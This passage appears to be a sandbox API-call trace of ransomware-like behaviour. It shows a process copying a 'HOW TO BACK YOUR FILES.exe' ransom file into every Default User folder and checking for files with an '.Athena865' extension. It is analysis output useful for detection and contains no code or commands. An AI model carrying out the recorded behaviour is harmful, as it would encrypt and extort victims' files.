(in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.158] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.158] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.158] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.159] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\Pictures") returned="C:\\Documents and Settings\\Default User\\Pictures" [0054.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b740 | out: hHeap=0x4f0000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce10 | out: hHeap=0x4f0000) returned 1 [0054.159] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Pictures") returned 47 [0054.159] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A1277E282FDE1B6F9EACE4884FCB086E") returned 0xec [0054.159] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.159] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\Pictures") returned="C:\\Documents and Settings\\Default User\\Pictures" [0054.159] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.160] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.160] GetLastError () returned 0x0 [0054.160] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.160] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.160] CloseHandle (hObject=0xf4) returned 1 [0054.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.160] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.160] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.160] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.160] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.160] lstrcpyW (in: lpString1=0x241e8a8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.160] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.160] lstrlenW (lpString="Athena865") returned 9 [0054.160] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.160] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.160] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.160] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.160] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.161] ReleaseMutex (hMutex=0xec) returned 1 [0054.161] CloseHandle (hObject=0xec) returned 1 [0054.161] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\PrintHood" | out: lpString1="C:\\Documents and Settings\\Default User\\PrintHood") returned="C:\\Documents and Settings\\Default User\\PrintHood" [0054.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e190 | out: hHeap=0x4f0000) returned 1 [0054.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce28 | out: hHeap=0x4f0000) returned 1 [0054.161] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\PrintHood") returned 48 [0054.161] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E8B0B8A10DAFCF0F4A836C7CF02F6FB9") returned 0xec [0054.161] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.161] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\PrintHood" | out: lpString1="C:\\Documents and Settings\\Default User\\PrintHood") returned="C:\\Documents and Settings\\Default User\\PrintHood" [0054.161] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.161] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.161] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.162] GetLastError () returned 0x0 [0054.162] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.162] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.162] CloseHandle (hObject=0xf4) returned 1 [0054.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.162] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.162] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.162] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.162] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.162] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Recent" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent") returned="C:\\Documents and Settings\\Default User\\Recent" [0054.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b7a8 | out: hHeap=0x4f0000) returned 1 [0054.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce40 | out: hHeap=0x4f0000) returned 1 [0054.162] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Recent") returned 45 [0054.162] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A621E06A74BAE0BEA8B13126595622FB") returned 0xec [0054.162] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.162] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Recent" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent") returned="C:\\Documents and Settings\\Default User\\Recent" [0054.163] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.163] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.163] GetLastError () returned 0x0 [0054.163] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.163] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.163] CloseHandle (hObject=0xf4) returned 1 [0054.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.163] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.164] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b89c80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b89c80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.164] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.164] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.164] lstrcpyW (in: lpString1=0x241e8a4, lpString2="AutomaticDestinations" | out: lpString1="AutomaticDestinations") returned="AutomaticDestinations" [0054.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce40 [0054.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x513ee8 [0054.164] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0054.164] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0054.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.164] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0054.164] lstrcmpiW (lpString1="CustomDestinations", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.164] lstrcmpiW (lpString1="CustomDestinations", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.164] lstrcpyW (in: lpString1=0x241e8a4, lpString2="CustomDestinations" | out: lpString1="CustomDestinations") returned="CustomDestinations" [0054.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce28 [0054.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x513f78 [0054.165] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0054.165] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0054.165] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7bafde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.165] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.165] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.165] lstrcpyW (in: lpString1=0x241e8a4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.165] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.165] lstrlenW (lpString="Athena865") returned 9 [0054.165] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.165] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.165] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.166] ReleaseMutex (hMutex=0xec) returned 1 [0054.166] CloseHandle (hObject=0xec) returned 1 [0054.166] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Saved Games" | out: lpString1="C:\\Documents and Settings\\Default User\\Saved Games") returned="C:\\Documents and Settings\\Default User\\Saved Games" [0054.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e200 | out: hHeap=0x4f0000) returned 1 [0054.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce58 | out: hHeap=0x4f0000) returned 1 [0054.166] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Saved Games") returned 50 [0054.166] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5E731DA47F911A1EB06CE9C7F333615D") returned 0xec [0054.166] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.166] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Saved Games" | out: lpString1="C:\\Documents and Settings\\Default User\\Saved Games") returned="C:\\Documents and Settings\\Default User\\Saved Games" [0054.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.166] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.167] GetLastError () returned 0x0 [0054.167] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.167] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.167] CloseHandle (hObject=0xf4) returned 1 [0054.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.167] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7bd5f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7bd5f40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.167] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.167] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.167] lstrcpyW (in: lpString1=0x241e8ae, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.167] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.167] lstrlenW (lpString="Athena865") returned 9 [0054.167] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.167] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.167] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.167] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.167] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.167] ReleaseMutex (hMutex=0xec) returned 1 [0054.167] CloseHandle (hObject=0xec) returned 1 [0054.168] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Searches" | out: lpString1="C:\\Documents and Settings\\Default User\\Searches") returned="C:\\Documents and Settings\\Default User\\Searches" [0054.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b810 | out: hHeap=0x4f0000) returned 1 [0054.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce70 | out: hHeap=0x4f0000) returned 1 [0054.168] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Searches") returned 47 [0054.168] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\08D6AA5666327316DF794D4965BCF468") returned 0xec [0054.168] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.168] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Searches" | out: lpString1="C:\\Documents and Settings\\Default User\\Searches") returned="C:\\Documents and Settings\\Default User\\Searches" [0054.168] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.168] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.168] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.168] GetLastError () returned 0x0 [0054.168] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.169] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.169] CloseHandle (hObject=0xf4) returned 1 [0054.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.169] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.169] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7c6e4c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7c6e4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.169] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.169] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.169] lstrcpyW (in: lpString1=0x241e8a8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" 